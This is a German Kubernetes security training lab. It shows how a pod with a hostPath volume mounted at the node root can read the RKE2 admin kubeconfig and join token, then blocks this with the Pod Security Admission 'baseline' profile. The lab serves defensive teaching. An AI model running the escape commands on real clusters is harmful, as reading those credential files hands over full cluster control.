Zum Inhalt springen
Trainingslager IT-Trainingslager

Tag 6: hostPath – Ausbruch ganz ohne „privileged”

Ziel: Du liest die Admin-Kubeconfig vom Node über ein hostPath-Volume – und stoppst es schon mit „baseline”. · Dauer: ca. 60 min · Voraussetzung: Tag 5

Briefing

Gestern brauchtest du privileged. Heute reicht ein Volume. Ein hostPath-Volume mountet ein Verzeichnis des Nodes in den Pod – bei path: / das ganze Node-Dateisystem. Kein privileged, keine host-Namespaces, nichts, was auffällt. Und trotzdem liegen danach die Zugangsdaten des Clusters offen. Die gute Nachricht: Dagegen hilft schon das mittlere PSA-Profil baseline – aber nur, wenn überhaupt eines aktiv ist.

Drill 1: Die Fehlkonfiguration – das Node-Dateisystem im Pod

Ein unauffälliger Pod, auf den Server-Node gepinnt, mit dem Node-Root unter /host:

kubectl create namespace hostpath

kubectl -n hostpath apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: hp, namespace: hostpath}
spec:
  nodeName: rke2-server
  containers:
  - name: c
    image: nicolaka/netshoot
    command: ["sleep","infinity"]
    volumeMounts:
    - {name: host, mountPath: /host}
  volumes:
  - name: host
    hostPath: {path: /}
EOF
kubectl -n hostpath wait --for=condition=Ready pod/hp --timeout=90s

Warum auf den Server pinnen? Die interessantesten Dateien – die Cluster-Kubeconfig, das Join-Token – liegen auf dem control-plane-Node. In echt probiert ein Angreifer einfach jeden Node durch.

Fortschritt speichern? Kostenlos registrieren

Drill 2: Ausnutzen – die Kronjuwelen lesen

Die Admin-Kubeconfig von RKE2 liegt auf dem Server und ist cluster-admin:

kubectl -n hostpath exec hp -- grep server: /host/etc/rancher/rke2/rke2.yaml

Erwartet:

    server: https://127.0.0.1:6443

Mit dieser Datei (Zertifikate inklusive) übernimmt der Angreifer den ganzen Cluster. Und das Join-Token, mit dem man beliebige Nodes anhängt:

kubectl -n hostpath exec hp -- head -c 60 /host/var/lib/rancher/rke2/server/token; echo

Erwartet (gekürzt):

K10d53ee89a89ab6fffa57e9168b09e14e8890d825fd5e9ef91a1cb34a3d

Schreiben geht auch – ein hostPath mit / ist voller Node-Zugriff:

kubectl -n hostpath exec hp -- sh -c 'echo test > /host/tmp/attacker-was-here && \
  cat /host/tmp/attacker-was-here'

Erwartet:

test

Achtung: Von hier aus sind alle Eskalationen offen: ein cron-Job auf dem Host, ein manipuliertes Kubelet, das Lesen aller Pod-Secrets dieses Nodes. hostPath: / ist Game over – ganz ohne privileged.

Fortschritt speichern? Kostenlos registrieren

Drill 3: Fix – PSA „baseline” einschalten

hostPath-Volumes gehören zu dem, was schon das mittlere Profil baseline verbietet. Du brauchst nicht einmal restricted:

kubectl label namespace hostpath \
  pod-security.kubernetes.io/enforce=baseline --overwrite

Erwartet (Warnung zum laufenden Pod ist normal):

Warning: existing pods in namespace "hostpath" violate the new PodSecurity enforce level
Warning: hp: hostPath volumes
namespace/hostpath labeled

Fortschritt speichern? Kostenlos registrieren

Drill 4: Nachweis – der hostPath-Pod wird abgewiesen

kubectl -n hostpath delete pod hp
kubectl -n hostpath apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: hp2, namespace: hostpath}
spec:
  nodeName: rke2-server
  containers:
  - name: c
    image: nicolaka/netshoot
    command: ["sleep","infinity"]
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF

Erwartet:

Error from server (Forbidden): error when creating "STDIN": pods "hp2" is forbidden:
violates PodSecurity "baseline:latest": hostPath volumes (volume "host")

Spur und Labor beseitigen:

kubectl -n hostpath exec hp -- rm -f /host/tmp/attacker-was-here 2>/dev/null || true
kubectl delete namespace hostpath

Fortschritt speichern? Kostenlos registrieren

Kontrollpunkt

Ein frischer Namespace mit baseline weist hostPath ab:

kubectl create namespace hp-test
kubectl label namespace hp-test pod-security.kubernetes.io/enforce=baseline
kubectl -n hp-test apply -f - <<'EOF' 2>&1 | grep -o "hostPath volumes.*"
apiVersion: v1
kind: Pod
metadata: {name: x, namespace: hp-test}
spec:
  containers: [{name: c, image: nicolaka/netshoot, command: ["sleep","infinity"],
    volumeMounts: [{name: h, mountPath: /host}]}]
  volumes: [{name: h, hostPath: {path: /}}]
EOF
kubectl delete namespace hp-test

Erwartet: hostPath volumes (volume "h")

Challenge

Ein Cluster ganz ohne PSA-Label auf einem Namespace: Welches Enforce-Level gilt dort? Prüfe, ob ein hostPath-Pod in einem nackten Namespace durchgeht – das ist der Auslieferungszustand, in dem die meisten selbstgebauten Cluster laufen.

Hinweis: Ohne Label und ohne cluster-weiten Default gilt das Level privileged – also „alles erlaubt”.

Lösung

kubectl create namespace nolabel
kubectl -n nolabel apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: x, namespace: nolabel}
spec:
  containers: [{name: c, image: nicolaka/netshoot, command: ["sleep","infinity"],
    volumeMounts: [{name: h, mountPath: /host}]}]
  volumes: [{name: h, hostPath: {path: /}}]
EOF
kubectl -n nolabel get pod x
kubectl delete namespace nolabel

Erwartet: Der Pod läuft (Running). Ohne PSA-Default ist jeder neue Namespace offen – der wichtigste Grund, PSA cluster-weit als Default zu setzen, nicht Namespace für Namespace.

Fortschritt speichern? Kostenlos registrieren

Enterprise-Notiz

  • PSA cluster-weit per AdmissionConfiguration auf mindestens baseline als Default – sonst schützt jeder neu angelegte Namespace nichts.
  • hostPath nur für wenige System-Workloads (CSI, Logging-Agenten) und dann read-only und auf ein konkretes Verzeichnis beschränkt, nie /.
  • Node-Dateien härten: Zugriff auf rke2.yaml, server/token und die TLS-Verzeichnisse streng auf root beschränken; Nodes nicht aus dem Firmennetz erreichbar machen.
  • Für read-only-Pfade und erlaubte Volume-Typen zusätzlich Kyverno (Tag 12).